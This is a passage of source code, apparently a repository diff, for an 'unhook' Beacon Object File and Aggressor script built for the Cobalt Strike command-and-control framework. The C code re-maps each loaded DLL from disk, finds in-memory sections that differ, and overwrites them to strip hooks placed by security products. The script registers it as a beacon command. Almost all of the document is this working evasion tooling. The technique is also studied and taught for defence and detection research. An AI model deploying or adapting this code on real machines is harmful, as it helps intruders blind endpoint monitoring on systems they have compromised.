PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
dprintf("[REFRESH] Running DLLRefresher");
pLdteHead = GetInMemoryOrderModuleList();
pLdteCurrent = pLdteHead;
do {
if (pLdteCurrent->FullDllName.Length > 2)
{
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
pDllBase = (ULONG_PTR)pLdteCurrent->DllBase;
dprintf("[REFRESH] Refreshing DLL: %S", wszFullDllName);
hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase);
if (hModule)
{
ScanAndFixModule(buffer, (PCHAR)hModule, (PCHAR)pDllBase, wszBaseDllName);
KERNEL32$VirtualFree(hModule, 0, MEM_RELEASE);
}
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
}
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase)
{
// File handles
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hMap = NULL;
PCHAR pFile = NULL;
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
// Library
PCHAR pLibraryAddr = NULL;
DWORD dwIdx;
// Relocation
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_BASE_RELOCATION pBaseReloc;
ULONG_PTR pReloc;
DWORD dwNumRelocs;
ULONG_PTR pInitialImageBase;
PIMAGE_RELOC pImageReloc;
// Import
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PCHAR szDllName;
SIZE_T stDllName;
PWSTR wszDllName = NULL;
PWCHAR wsRedir = NULL;
PWSTR wszRedirName = NULL;
SIZE_T stRedirName;
SIZE_T stSize;
HMODULE hModule;
PIMAGE_THUNK_DATA pThunkData;
FARPROC* pIatEntry;
// clr.dll hotpatches itself at runtime for performance reasons, so skip it
if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
goto cleanup;
dprintf("[REFRESH] Opening file: %S", wszFullDllName);
// ----
// Step 1: Map the file into memory
// ----
hFile = KERNEL32$CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto cleanup;
hMap = KERNEL32$CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hMap == NULL)
goto cleanup;
pFile = (PCHAR)KERNEL32$MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (pFile == NULL)
goto cleanup;
// ----
// Step 2: Parse the file headers and load it into memory
// ----
pDosHeader = (PIMAGE_DOS_HEADER)pFile;
pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);
// allocate memory to copy DLL into
dprintf("[REFRESH] Allocating memory for library");
pLibraryAddr = (PCHAR)KERNEL32$VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy header
dprintf("[REFRESH] Copying PE header into memory");
__movsb((PBYTE)pLibraryAddr, (PBYTE)pFile, pNtHeader->OptionalHeader.SizeOfHeaders);
// copy sections
dprintf("[REFRESH] Copying PE sections into memory");
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
__movsb((PBYTE)(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress),
(PBYTE)(pFile + pSectionHeader[dwIdx].PointerToRawData),
pSectionHeader[dwIdx].SizeOfRawData);
}
// update our pointers to the loaded image
pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr;
pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew);
// ----
// Step 3: Calculate relocations
// ----
dprintf("[REFRESH] Calculating file relocations");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
// set the ImageBase to the already loaded module's base
pNtHeader->OptionalHeader.ImageBase = pDllBase;
// check if their are any relocations present
if (pDataDir->Size)
{
// calculate the address of the first IMAGE_BASE_RELOCATION entry
pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress);
// iterate through each relocation entry
while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
{
// the VA for this relocation block
pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress);
// number of entries in this relocation block
dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// first entry in the current relocation block
pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
// iterate through each entry in the relocation block
while (dwNumRelocs--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we subtract the initial ImageBase and add in the original dll base
if (pImageReloc->type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase;
*(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase;
*(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGH)
{
*(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase);
}
else if (pImageReloc->type == IMAGE_REL_BASED_LOW)
{
*(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase);
}
// get the next entry in the current relocation block
pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC));
}
// get the next entry in the relocation directory
pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock);
}
}
// ----
// Step 4: Update import table
// ----
dprintf("[REFRESH] Resolving Import Address Table (IAT) ");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pDataDir->Size)
{
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress);
while (pImportDesc->Characteristics)
{
hModule = NULL;
wszDllName = NULL;
szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name);
stDllName = strnlen(szDllName, MAX_PATH);
wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
goto next_import;
mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName);
dprintf("[REFRESH] Loading library: %S from %s", wszDllName, szDllName);
// If the DLL starts with api- or ext-, resolve the redirected name and load it
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
{
// wsRedir is not null terminated
wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName);
if (wsRedir)
{
// Free the original wszDllName and allocate a new buffer for the redirected dll name
free(wszDllName);
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
goto next_import;
__movsb((PBYTE)wszDllName, (PBYTE)wsRedir, stRedirName * sizeof(WCHAR));
dprintf("[REFRESH] Redirected library: %S", wszDllName);
}
}
// Load the module
hModule = CustomGetModuleHandleW(wszDllName);
// Ignore libraries that fail to load
if (hModule == NULL)
goto next_import;
if (pImportDesc->OriginalFirstThunk)
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk);
else
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk);
pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk);
// loop through each thunk and resolve the import
for(; DEREF(pThunkData); pThunkData++, pIatEntry++)
{
if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal))
*pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName);
else
*pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName);
}
next_import:
if (wszDllName != NULL)
{
free(wszDllName);
wszDllName = NULL;
}
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));
}
}
cleanup:
if (pFile != NULL)
KERNEL32$UnmapViewOfFile(pFile);
if (hMap != NULL)
KERNEL32$CloseHandle(hMap);
if (hFile != INVALID_HANDLE_VALUE)
KERNEL32$CloseHandle(hFile);
return (HMODULE) pLibraryAddr;
}
HMODULE CustomGetModuleHandleW(const PWSTR wszModule)
{
HMODULE hModule = NULL;
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
dprintf("[REFRESH] Searching for loaded module: %S", wszModule);
pLdteCurrent = pLdteHead = GetInMemoryOrderModuleList();
do {
if (pLdteCurrent->FullDllName.Length > 2 &&
_wcsnicmp(wszModule, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length / 2) == 0)
{
return ((HMODULE)pLdteCurrent->DllBase);
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
return KERNEL32$LoadLibraryW(wszModule);
}
VOID ScanAndFixModule(void * buffer, PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName)
{
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIdx;
dprintf("[REFRESH] Scanning module: %S", wszBaseDllName);
pDosHeader = (PIMAGE_DOS_HEADER)pKnown;
pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew);
// Scan PE header
ScanAndFixSection(buffer, wszBaseDllName, "Header", pKnown, pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders);
// Scan each section
pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
continue;
if (!((wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)))
{
ScanAndFixSection(buffer, wszBaseDllName, (PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
}
}
}
VOID ScanAndFixSection(void * buffer, PWCHAR dll, PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength)
{
DWORD ddOldProtect;
if (memcmp(pKnown, pSuspect, stLength) != 0)
{
BeaconFormatPrintf((formatp *)buffer, "%-20S <%s>\n", dll, szSectionName);
dprintf("[REFRESH] Found modification in: %s", szSectionName);
if (!KERNEL32$VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
return;
dprintf("[REFRESH] Copying known good section into memory.");
__movsb((PBYTE)pSuspect, (PBYTE)pKnown, stLength);
if (!KERNEL32$VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
dprintf("[REFRESH] Unable to reset memory permissions");
}
}
// This code is modified from Stephen Fewer's GetProcAddress implementation
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule)
{
UINT_PTR uiLibraryAddress = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
UINT_PTR uiFuncVA = 0;
PCHAR cpExportedFunctionName;
PCHAR szFwdDesc;
PCHAR szRedirFunc;
PWSTR wszDllName;
SIZE_T stDllName;
PWCHAR wsRedir;
PWSTR wszRedirName = NULL;
SIZE_T stRedirName;
HMODULE hFwdModule;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
FARPROC fpResult = NULL;
DWORD dwCounter;
if (hModule == NULL)
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
// get the VA for the array of name pointers
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
// test if we are importing by name or by ordinal...
#pragma warning(suppress: 4311)
if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
#pragma warning(suppress: 4311)
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
// resolve the address for this imported function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// import by name...
dwCounter = pExportDirectory->NumberOfNames;
while (dwCounter--)
{
cpExportedFunctionName = (PCHAR)(uiLibraryAddress + DEREF_32(uiNameArray));
// test if we have a match...
if (strcmp(cpExportedFunctionName, lpProcName) == 0)
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
uiFuncVA = DEREF_32(uiAddressArray);
// check for redirected exports
if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size))
{
szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);
// Find the first character after "."
szRedirFunc = strstr(szFwdDesc, ".") + 1;
stDllName = (SIZE_T)(szRedirFunc - szFwdDesc);
// Allocate enough space to append "dll"
wszDllName = (PWSTR)calloc(stDllName + 3 + 1, sizeof(WCHAR));
if (wszDllName == NULL)
break;
mbstowcs_s(NULL, wszDllName, stDllName + 1, szFwdDesc, stDllName);
__movsb((PBYTE)(wszDllName + stDllName), (PBYTE)(L"dll"), 3 * sizeof(WCHAR));
// check for a redirected module name
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
{
wsRedir = GetRedirectedName(wszOriginalModule, wszDllName, &stRedirName);
if (wsRedir)
{
// Free the original buffer and allocate a new one for the redirected dll name
free(wszDllName);
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
break;
__movsb((PBYTE)wszDllName, (PBYTE)wsRedir, stRedirName * sizeof(WCHAR));
}
}
hFwdModule = KERNEL32$GetModuleHandleW(wszDllName);
fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, wszDllName);
free(wszDllName);
}
else
{
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA);
}
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
return fpResult;
}
src/refresh.h
Executable
+19
View File
@@ -0,0 +1,19 @@
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef _DEBUG
#define OUTPUTDBGA(str) OutputDebugStringA(str);
#define OUTPUTDBGW(str) OutputDebugStringW(str);
#else
#define OUTPUTDBGA(str)
#define OUTPUTDBGW(str)
#endif
void RefreshPE(void * out);
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase);
HMODULE CustomGetModuleHandleW(const PWSTR wszModule);
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule);
VOID ScanAndFixModule(void * out, PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName);
VOID ScanAndFixSection(void * out, PWCHAR wszBaseDllName, PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength);
src/unhook.c
Executable
+23
View File
@@ -0,0 +1,23 @@
#include "apisetmap.c"
#include "refresh.c"
#include "unhook.h"
void go() {
formatp buffer;
char *out;
int size;
BeaconFormatAlloc(&buffer, 64 * 1024);
RefreshPE(&buffer);
/* we're done... I guess */
BeaconFormatPrintf(&buffer, "Unhook is done.\n");
/* post our output */
out = BeaconFormatToString(&buffer, &size);
BeaconOutput(CALLBACK_OUTPUT, out, size);
/* clean up */
BeaconFormatFree(&buffer);
}
src/unhook.h
Executable
+35
View File
@@ -0,0 +1,35 @@
#pragma once
#pragma intrinsic(strcmp)
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingW(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCWSTR);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
DECLSPEC_IMPORT void WINAPI KERNEL32$OutputDebugStringA(LPCSTR lpOutputString);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile(LPCVOID);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount);
DECLSPEC_IMPORT void * __cdecl MSVCRT$calloc(size_t _NumOfElements,size_t _SizeOfElements);
DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *_Memory);
DECLSPEC_IMPORT errno_t __cdecl MSVCRT$mbstowcs_s(size_t *_PtNumOfCharConverted,wchar_t *_DstBuf,size_t _SizeInWords,const char *_SrcBuf,size_t _MaxCount);
DECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);
DECLSPEC_IMPORT size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount);
DECLSPEC_IMPORT char * __cdecl MSVCRT$strstr(const char *_Str,const char *_SubStr);
DECLSPEC_IMPORT int __cdecl MSVCRT$vsprintf_s(char *buffer, size_t numberOfElements, const char *format, ...);
#define _wcsnicmp MSVCRT$_wcsnicmp
#define calloc MSVCRT$calloc
#define free MSVCRT$free
#define mbstowcs_s MSVCRT$mbstowcs_s
#define memcmp MSVCRT$memcmp
#define strnlen MSVCRT$strnlen
#define strstr MSVCRT$strstr
#define vsprintf_s MSVCRT$vsprintf_s
//void dprintf(char * fmt, ...);
#define dprintf //
unhook.cna
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alias unhook {
local('$barch $handle $data');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("unhook. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
btask($1, "Running unhook");
# run it..
beacon_inline_execute($1, $data, "go", $null);
}
beacon_command_register(
"unhook",
"remove hooks from DLLs in this process",
"Synopsis: unhook\n\nAttempt to remove hooks.");
unhook.x64.o
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unhook.x86.o
Executable
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